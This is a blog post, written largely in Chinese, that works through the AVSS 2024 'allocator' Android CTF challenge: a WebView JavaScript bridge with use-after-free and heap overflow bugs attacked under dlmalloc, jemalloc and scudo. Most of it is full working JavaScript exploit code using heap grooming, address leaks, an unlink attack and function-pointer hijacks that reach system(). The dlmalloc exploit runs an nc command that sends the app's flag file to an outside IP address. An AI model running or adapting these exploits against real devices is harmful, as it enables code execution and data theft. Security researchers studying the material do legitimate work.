[ayoung@blog posts]$ cat ./avss 2024 allocator.md

avss 2024 allocator

[Last modified: 2025-04-21]

源码 http://androidxref.com/4.1.2/xref/bionic/libc/bionic/dlmalloc.c

菜单题,内存未清空、有8字节越界读写、uaf 通过jni调用实现的菜单功能,且实现了一个FileBase类,能够创建、读写、关闭文件

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        if (getIntent().hasExtra("url")) {
            String url = getIntent().getStringExtra("url");
            Log.d("MainActivity", "Loading url: "+url);
            Intent intent = new Intent(this, MyWebViewActivity.class);
            intent.putExtra("url", url);
            startActivity(intent);
        } else {
            Log.d("MainActivity", "no url");
        }
    }
}

webView.getSettings().setJavaScriptEnabled(true);允许执行js代码 webView.getSettings().setAllowFileAccess(false);禁止文件访问

MyJavaScriptInterface是一个自定义的 JavaScript 接口类,允许网页中的 JavaScript 调用本地 Java 代码,这个类定义了一些与 JavaScript 交互的方法,封装菜单功能 addJavascriptInterface(jsInterface, "_jsbridge")MyJavaScriptInterface 类作为 JavaScript 的接口,网页中 JavaScript 可以通过 _jsbridge来调用 Java 方法

再往下cache啥的是禁用缓存 最后加载url网页

public class MyWebViewActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_webview);

        WebView webView = findViewById(R.id.mywebview);

        String url = getIntent().getStringExtra("url");

        webView.getSettings().setJavaScriptEnabled(true);
        webView.getSettings().setAllowFileAccess(false);
        MyJavaScriptInterface jsInterface = new MyJavaScriptInterface(getApplicationContext());
        webView.addJavascriptInterface(jsInterface, "_jsbridge");

        WebSettings settings = webView.getSettings();
        settings.setCacheMode(WebSettings.LOAD_NO_CACHE);
        webView.loadUrl(url);
    }
}

下面命令传入网页url

am start -n com.avss.testallocator/.MainActivity -e url http://127.0.0.1:8000/evil.html

apk实现都一样,运行环境分别在android 4/8/12上,对应堆管理器分别为dlmallloc/jemalloc/scudo

题目本意是利用 uaf 打 Filebase 类,一开始以为要打堆管理,dlmalloc 打了 unlink,后两题赛后用 uaf 做的

调试方法

jemalloc 和 scudo 题目给的环境起不来,使用Android studio环境启动 选没有Google play的设备,才能获得 adb root

adb shell中gdbserver attach,使用adb reverse将安卓设备端口映射到主机,结合socat端口转发,将到主机的连接转发到gdbserver映射出来的端口,在docker中使用gdb remote连接

docker 连接宿主机 调试使用到的脚本

dlmalloc

堆风水,让可控堆块和filebase相邻申请,再利用8字节越界读 泄露filebase类中的指针 得到 libhello 基址

接着一直申请直到三个连续申请的堆块相邻排布在一块(通过检测下一个堆块头4字节内容判断),利用越界改size。释放前先喷对应size,保证能够获取 libc 地址;如果不成功就重来

最后unlink,伪造堆块 利用前向合并触发,往chunklist写入地址 得到任意地址读写原语

劫持执行流 利用 libc.so中 __libc_malloc_dispatch,这是一个二级指针,指向__libc_malloc_default_dispatch,这里指向一个函数表,依次存放dlmallocdlfree等函数指针。其中正好__libc_malloc_dispatch可写

通过修改__libc_malloc_dispatch,伪造函数表,控制dlfreesystem执行命令

连着gdb的时候 不知道为啥只要改完上述二级指针,js里后续delete等操作就没有执行到 被坑了好久

题目对应dlmalloc版本2.8.x,存在ok_address()地址检查,堆管理结构中有字段least_addr记录堆内存最低地址,unlink等操作中判断操作指针需要大于该地址,从而作为漏洞利用缓解措施。如果单独编译c/c++程序模拟题目操作会不满足该条件无法利用,但实际apk中该地址会小于实际chunklist地址,从而不影响利用

exp

<script>

    function hexToLE(hexString){
        var ret = 0;
        for (var i = 3; i >= 0; i --) {
            ret <<= 8;
            ret |= parseInt(hexString.slice(i*2, i*2+2),16);
        }
        return ret;
    }
    
    function LEToHex(number) {
        var hex = "";
        for (var i = 0; i < 4; i++) {
            var byte = (number & 0xff).toString(16);
            if (byte.length == 1){
                byte = '0'+byte;
            }
            hex = hex+byte;
            number >>= 8;
        }
        return hex;
    }

    function genNStr(s, n){
        var res = '';
        for(var i = 0; i < n; i++)
            res+= s;
        return res;
    }

    function genKey(index){
        var key = index.toString(16);
        if (key.length == 1){
            key = "30"+key.charCodeAt(0).toString(16);
        }
        else{
            key = key.charCodeAt(0).toString(16)+key.charCodeAt(1).toString(16)
        }
        return key;
    }

    function convertToASCII(str) {
        var result = "";
        for (var i = 0; i < str.length; i++) {
            result += str.charCodeAt(i).toString(16);
        }
        return result;
    }

    function chunk_fengshui(){
        // spray
        var found_idx=-1;
        while(found_idx == -1){
            for (var index = 0; index < 30; index++){
                var s_index = index.toString(16);
                if (s_index.length == 1){
                    s_index = "0"+s_index;
                }
                _jsbridge.add(index, "AB"+s_index+"\x61", 0x5c);
            }

            for (var index = 0; index < 30; index++) {
                leak_content_first = _jsbridge.show(index, 0x5c+8);
                if (hexToLE(leak_content_first.slice(0x5c*2, 0x5c*2+8)) == 0x6b && leak_content_first.slice(0x60*2, 0x60*2+8) == ("4142"+genKey(index+1))){
                    leak_content_second = _jsbridge.show(index+1, 0x5c+8);
                    if (hexToLE(leak_content_second.slice(0x5c*2, 0x5c*2+8)) == 0x6b && leak_content_second.slice(0x60*2, 0x60*2+8) == ("4142"+genKey(index+2))){
                        found_idx = index;
                        break;
                    }
                }
            }
        }
        return found_idx;
    }

    function get_libc_addr() {
        var found_idx = chunk_fengshui();

        // for debug
        var debug1_idx = 35;
        _jsbridge.add(debug1_idx, found_idx.toString(), 0x6c);

        var data = genNStr('41', 0x58);
        data+= genNStr('00', 0x4);
        data+= LEToHex(0xd3);
        _jsbridge.edit(found_idx, data);

        var overlap_idx = 32;
        // spray
        for (var index = 0; index < 50; index++) {
            _jsbridge.add(49, "A", 0xc4);
        }
        var cmd = "nc 101.43.232.7 7777 < /data/data/com.avss.testallocator/files/flag";
        var cmd_1 = cmd.slice(0, 8);
        var cmd_2 = cmd.slice(8, cmd.length);

        _jsbridge.add(49, cmd_1, 0xc4);
        _jsbridge.edit(49, convertToASCII(cmd_2)+"0000");
        for(var i = 0; i < 0x100000; i++) {}
        _jsbridge.delete(found_idx+1);
        var check_content = _jsbridge.show(found_idx, 0x5c+8);
        var libc_addr = hexToLE(check_content.slice(0x60*2, 0x60*2+8));

        // debug
        _jsbridge.edit(debug1_idx, LEToHex(libc_addr)+LEToHex(0x41424344));
        
        return libc_addr;
    }

    function get_libhello_addr(){
        // for debug
        var debug2_idx = 34;
        _jsbridge.add(debug2_idx, "A", 0x6c);

        var libhello_addr = -1;
        var cnt = 0;
        while(libhello_addr == -1){
            _jsbridge.add(cnt%30, "A", 0x4);
            _jsbridge.openfile("a", 1);
            var possible_addr = hexToLE(_jsbridge.show(cnt%30, 0x4+8).slice(8*2, 8*2+8));
            if ((possible_addr>>>24 == 0xa5) && ((possible_addr&0xff)>>>0)==0xdc){
                libhello_addr = possible_addr;
                break;
            }
            cnt+=1;
        }

        // debug
        _jsbridge.edit(debug2_idx, LEToHex(libhello_addr)+LEToHex(0x45464748));

        return libhello_addr;
    }
    
    function arb_write(control_idx, victim_idx, addr, ct){
        _jsbridge.edit(control_idx, LEToHex(addr-0x8));
        _jsbridge.edit(victim_idx, ct);
    }

    function arb_read(control_idx, victim_idx, addr){
        _jsbridge.edit(control_idx, LEToHex(addr-0x8));
        return _jsbridge.show(victim_idx, 0x5c+8);
    }

    function unlink_attack(libc_addr, libhello_addr){
        var found_idx = chunk_fengshui();

        // for debug
        var debu3_idx = 33;
        _jsbridge.add(debu3_idx, found_idx.toString(), 0x6c);

        var libc_offset = 0x4d250;
        var libhello_offset = 0x19bdc;
        
        var libc_base = ((libc_addr-libc_offset)&0xfffff000)>>>0;
        var libhello_base = ((libhello_addr-libhello_offset)&0xfffff000)>>>0;
        
        var chunklist_addr = libhello_base+0x1c630+4*(found_idx+1);

        var chunk_1 = genNStr("41", 0x58);
        chunk_1+= genNStr("00", 12);
        _jsbridge.edit(found_idx, chunk_1);

        var chunk_2 = LEToHex(chunklist_addr-12);
        chunk_2+= LEToHex(chunklist_addr-8);
        chunk_2+= genNStr("41", 0x50);
        chunk_2+= LEToHex(0x60);
        chunk_2+= LEToHex(0x6a);
        _jsbridge.edit(found_idx+1, chunk_2);
        // unlink
        _jsbridge.delete(found_idx+2);

        var control_idx = found_idx+1;
        var victim_idx = found_idx;
        var libc_malloc_dispatch = 0x49000+libc_base;
        var fake_libc_malloc_dispatch = 0x49320+libc_base;
        var system_addr = libc_base+0x246a0;
        var dlmalloc_addr = libc_base+0xfc94;
        var dlcalloc = libc_base+0x1164c;
        var dlrealloc = libc_base+0x11694;
        var dlmemalign = libc_base+0x117cc;
        var dlmalloc_usable_size = libc_base+0x11d98;
        
        var hijack_dispatch_ct = LEToHex(dlmalloc_addr+1)+LEToHex(system_addr+1)+LEToHex(dlcalloc+1)+LEToHex(dlrealloc+1)+LEToHex(dlmemalign+1)+LEToHex(dlmalloc_usable_size+1)
        arb_write(control_idx, victim_idx, fake_libc_malloc_dispatch, hijack_dispatch_ct);
        arb_write(control_idx, victim_idx, libc_malloc_dispatch, LEToHex(fake_libc_malloc_dispatch));

        _jsbridge.delete(49);

    }

    var libhello_addr = get_libhello_addr();
    
    var libc_addr = -1;
    while(libc_addr == -1){
        var leak_addr = get_libc_addr();
        if (leak_addr>>>24 == 0xb6){
            libc_addr = leak_addr;
            break;
        }
    }

    unlink_attack(libc_addr, libhello_addr);
    
    while (1) {

    }
</script>
<!-- watch *0xb6fb2000 -->
<!-- vmmap 0xa8c13000-0x3150000 -->
<!-- am start -n com.avss.testallocator/.MainActivity -e url http://192.168.130.133:8000/evil.html 0x1c630 -->
<!-- 0x3630 -->

jemalloc

思路和 scudo 类似,Android8不支持BigInt语法,直接按照32bit处理 另外处理中数据时注意移位保证无符号数

jemalloc没有chunk头,没法直接确定对应内存大小,占位前直接看libc.so的fopen函数里实际申请大小为0xA6F

在使用FileBase类占位空闲内存时不能统一一块释放,采用释放一个调用一次openfile,然后遍历可控堆块判断是否占位成功,之后劫持指针布置参数即可

exp

<script>

    function LEToHex32(number) {
        number = number>>>0;
        var hex = number.toString(16);

        if (hex.length % 2 !== 0) {
            hex = '0' + hex;
        }
        if (hex.length < 8) {
            hex = hex.padStart(8, '0');
        } else if (hex.length > 8) {
            hex = hex.slice(-8);
        }

        var bytes = [];
        for (var i = 0; i < 8; i += 2) {
            bytes.push(hex.slice(i, i + 2));
        }

        bytes.reverse();
        return bytes.join('').toUpperCase();
    }

    function hexToLE32(hexString){
        var ret = 0;
        for (var i = 3; i >= 0; i --) {
            ret = (ret<<8)>>>0;
            ret |= parseInt(hexString.slice(i*2, i*2+2),16) >>> 0;
        }
        return ret;
    }
    
    function genNStr(s, n){
        var res = '';
        for(var i = 0; i < n; i++)
            res+= s;
        return res;
    }

    function convertToASCII(str) {
        var result = "";
        for (var i = 0; i < str.length; i++) {
            result += str.charCodeAt(i).toString(16);
        }
        return result;
    }

    var debug1_idx = 49;
    _jsbridge.add(debug1_idx, "GG", 0x18);
    _jsbridge.edit(debug1_idx, LEToHex32(0x11223344)+LEToHex32(0x55667788));


    for (var index = 0; index < 20; index++){
        var s_index = index.toString(16);
        if (s_index.length == 1){
            s_index = "0"+s_index;
        }
        _jsbridge.add(index, "AB"+s_index+"\x61", 0xa6f-0x8);
    }

    for (var index = 0; index < 20; index++){
        _jsbridge.delete(index);
        _jsbridge.add(index+20, "GG", 0xa6f-0x8);
    }

    var libc_base_low = -1;
    var libc_base_high = -1;
    var heap_addr_low = -1;
    var heap_addr_high = -1;
    var control_idx = 20;
    var cnt = 0;
    while(libc_base_low == -1 && libc_base_high== -1){
        _jsbridge.delete(cnt%20);
        _jsbridge.openfile("D", 1);
        cnt+=1;
        for(var index = 0; index < 20; index++){
            var content = _jsbridge.show(20+index, 0xa6f);
            var check_ct = hexToLE32(content.slice(0x48*2, 0x48*2+8));
            if ((check_ct&0xfff) == 0x1c0){
                control_idx += index;
                libc_base_low = check_ct-0x731c0;
                libc_base_high = hexToLE32(content.slice(0x48*2+4*2, 0x48*2+4*2+8));
                heap_addr_low = hexToLE32(content.slice(0x40*2, 0x40*2+8))-0x18;
                heap_addr_high = hexToLE32(content.slice(0x40*2+4*2, 0x40*2+4*2+8));
                _jsbridge.edit(debug1_idx, LEToHex32(index)+LEToHex32(check_ct)
                    +LEToHex32(libc_base_low)+LEToHex32(libc_base_high)
                    +LEToHex32(heap_addr_low)+LEToHex32(heap_addr_high)
                    +LEToHex32(0x41424344));
                break;
            }
        }
    }

    var chunk_ct = _jsbridge.show(control_idx, 0xa08);
    var system_addr_low = libc_base_low+0x64144;
    var system_addr_high = libc_base_high;
    var cmd = "echo hacked > /data/data/com.avss.testallocator/files/tmp/hacked"
    chunk_ct = chunk_ct.slice(0, 0x40*2)
        + LEToHex32(heap_addr_low+0xa8) + LEToHex32(heap_addr_high)
        + LEToHex32(system_addr_low) + LEToHex32(system_addr_high) + chunk_ct.slice((0x50)*2, chunk_ct.length*2);
    chunk_ct = chunk_ct.slice(0, 0xa0*2) + convertToASCII(cmd)+"00" + chunk_ct.slice((0x50)*2, chunk_ct.length*2)
    
    _jsbridge.edit(control_idx, chunk_ct);

    _jsbridge.closefile();

    while(1) {}

</script>

scudo

原来不需要打堆管理,利用的是uaf劫持binoic libc中file结构体的指针,劫持_close函数指针,并且修改_cookie指向可控地址

涉及堆块classID=0x14,大小0xa00-0xa10,比较神奇的是好像这个堆块里有好几个相关结构体内容和指针,而且调试看每次调用的是哪一个指针还不太一样。直接把所有相关的指针都改掉就行

binoic libc相关代码如下,劫持(*fp->_close)(fp->_cookie)

// fopen
FILE *
fopen(const char *file, const char *mode)
{
	FILE *fp;
	int f;
	int flags, oflags;

	if ((flags = __sflags(mode, &oflags)) == 0)
		return (NULL);
	if ((fp = __sfp()) == NULL)
		return (NULL);
	if ((f = open(file, oflags, DEFFILEMODE)) < 0) {
		fp->_flags = 0;			/* release */
		return (NULL);
	}
	fp->_file = f;
	fp->_flags = flags;
	fp->_cookie = fp;
	fp->_read = __sread;
	fp->_write = __swrite;
	fp->_seek = __sseek;
	fp->_close = __sclose;

	/*
	 * When opening in append mode, even though we use O_APPEND,
	 * we need to seek to the end so that ftell() gets the right
	 * answer.  If the user then alters the seek pointer, or
	 * the file extends, this will fail, but there is not much
	 * we can do about this.  (We could set __SAPP and check in
	 * fseek and ftell.)
	 */
	if (oflags & O_APPEND)
		(void) __sseek((void *)fp, (fpos_t)0, SEEK_END);
	return (fp);
}

// fclose
int
fclose(FILE *fp)
{
	int r;

	if (fp->_flags == 0) {	/* not open! */
		errno = EBADF;
		return (EOF);
	}
	FLOCKFILE(fp);
	WCIO_FREE(fp);
	r = fp->_flags & __SWR ? __sflush(fp) : 0;
	if (fp->_close != NULL && (*fp->_close)(fp->_cookie) < 0)
		r = EOF;
	if (fp->_flags & __SMBF)
		free((char *)fp->_bf._base);
	if (HASUB(fp))
		FREEUB(fp);
	if (HASLB(fp))
		FREELB(fp);
	fp->_r = fp->_w = 0;	/* Mess up if reaccessed. */
	fp->_flags = 0;		/* Release this FILE for reuse. */
	FUNLOCKFILE(fp);
	return (r);
}

exp

<script>

    function LEToHex64(number) {
        var hex = number.toString(16);

        if (hex.length % 2 !== 0) {
            hex = '0' + hex;
        }

        if (hex.length < 16) {
            hex = hex.padStart(16, '0');
        } else if (hex.length > 16) {
            hex = hex.slice(-16);
        }

        var bytes = [];
        for (var i = 0; i < 16; i += 2) {
            bytes.push(hex.slice(i, i + 2));
        }

        bytes.reverse();

        return bytes.join('').toUpperCase();
    }

    function hexToLE64(hexString){
        var ret = 0n;
        for (var i = 7; i >= 0; i --) {
            ret <<= 8n;
            ret |= BigInt(parseInt(hexString.slice(i*2, i*2+2),16));
        }
        return ret;
    }
    
    function genNStr(s, n){
        var res = '';
        for(var i = 0; i < n; i++)
            res+= s;
        return res;
    }

    function genKey(index){
        var key = index.toString(16);
        if (key.length == 1){
            key = "30"+key.charCodeAt(0).toString(16);
        }
        else{
            key = key.charCodeAt(0).toString(16)+key.charCodeAt(1).toString(16)
        }
        return key;
    }

    function convertToASCII(str) {
        var result = "";
        for (var i = 0; i < str.length; i++) {
            result += str.charCodeAt(i).toString(16);
        }
        return result;
    }

    var debug1_idx = 49;
    _jsbridge.add(debug1_idx, "GG", 0x18);
    _jsbridge.edit(debug1_idx, LEToHex64(0x11223344n));


    for (var index = 0; index < 20; index++){
        var s_index = index.toString(16);
        if (s_index.length == 1){
            s_index = "0"+s_index;
        }
        _jsbridge.add(index, "AB"+s_index+"\x61", 0xa08);
    }

    for (var index = 0; index < 20; index++){
        _jsbridge.delete(index);
        _jsbridge.add(index+20, "GG", 0xa08);
    }

    for (var index = 0; index < 20; index++){
        _jsbridge.delete(index);
    }
    
    var libc_base = BigInt(-1);
    var heap_addr = BigInt(-1);
    var control_idx = 20;
    while(libc_base == -1){
        for(var index = 0; index < 20; index++){
            _jsbridge.openfile("D", 1);
            var content = _jsbridge.show(20+index, 0xa08+8);
            var check_ct = hexToLE64(content.slice(0x48*2, 0x48*2+16));
            if ((Number(check_ct>>32n)&0xf0) == 0x70 && Number(check_ct&0xfffn) == 0xc58){
                control_idx += index;
                libc_base = check_ct-0xa8c58n;
                heap_addr = hexToLE64(content.slice(0x40*2, 0x40*2+16))-0x10n;
                _jsbridge.edit(debug1_idx, LEToHex64(BigInt(index))+LEToHex64(libc_base)+LEToHex64(0x4343434343434343n));
                break;
            }
        }
    }

    var chunk_ct = _jsbridge.show(control_idx, 0xa08);
    var system_addr = libc_base+0x60cc4n;
    var cmd = "echo hacked > /data/data/com.avss.testallocator/files/tmp/hacked"
    for (var offset = 0; offset+0x98<0xa00; offset+=0x98){
        chunk_ct = chunk_ct.slice(0, (0x40+offset)*2)
        + LEToHex64(heap_addr)
        + LEToHex64(system_addr) + chunk_ct.slice((0x50+offset)*2, chunk_ct.length*2);
    }
    
    _jsbridge.edit(control_idx, chunk_ct);
    _jsbridge.edit(control_idx, convertToASCII(cmd)+"00");

    // debug
    // for(var i = 0; i < 0x1000; i++){
    //     _jsbridge.edit(debug1_idx, LEToHex64(BigInt(control_idx)));
    // }

    _jsbridge.closefile();

    while(1) {}

</script>

poc

<html>
    <head>
    
    </head>
    <body>

        <h1>AVSS 2023</h1>
        <p>UV4-Allocator A8 PoC</p>

        <script type="text/javascript"  >
            function print_res(res) {
                document.write("<p>" + res + "</p>\n")
            }

            function bytesToHexString(bytes) {
                return Array.from(bytes, byte => ('0' + (byte & 0xFF).toString(16)).slice(-2)).join('');
            }
            function bytesToString(bytes) {
                return String.fromCharCode.apply(null, bytes);
            }

            function unhex(hexString) {
                let str = '';
                for (let i = 0; i < hexString.length; i += 2) {
                    const byte = parseInt(hexString.substr(i, 2), 16);
                    str += String.fromCharCode(byte);
                }
                return str;
            }
            function hex(str) {
                let hex = '';
                for (let i = 0; i < str.length; i++) {
                    hex += str.charCodeAt(i).toString(16).padStart(2, '0');
                }
                return hex;
            }

            function unpack64(data) {
                return parseInt(data.match(/../g).reverse().join(''), 16);
            }

            function pack64(data) {
                return data.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
            }

            function add(idx, key, size) {
                _jsbridge.add(idx, key, size);
            }
            function edit(idx, value) {
                _jsbridge.edit(idx, value);
            }
            function show(idx, size) {
                res = _jsbridge.show(idx, size);
                console.log(res+" ");
                // print_res(res);
                return res;
            }
            function jdelete(idx) {
                _jsbridge.delete(idx);
            }
        
            console.log("Start");
            print_res("Start");


            // uninitialization
            console.log("uninitialization");
            add(0, "a0", 0x10);
            res = show(0, 0x10);
            print_res(res);
            
            // double free
            console.log("double free");
            add(1, "a1", 0x100);
            jdelete(1);
            jdelete(1);
            add(2, "a2", 0x100);
            add(3, "a3", 0x100);
            edit(2, "deadbeefdeadbeefdeadbeefdeadbeef")
            console.log("a2: ");
            res = show(2, 0x100);
            console.log("a3: ");
            res = show(3, 0x100);

            // overwrite
            console.log("overwrite 8 bytes");
            add(4, "a4", 0x100-8);
            add(5, "a5", 0x100-8);
            console.log("before: ");
            res = show(4, 0x100);

            edit(4, "".padEnd(0x100*2, "3"))

            // overread            
            console.log("after: ");
            res = show(4, 0x100);
            print_res(res);


            console.log("Done");
            print_res("Done");

            </script>
        
    </body>
</html>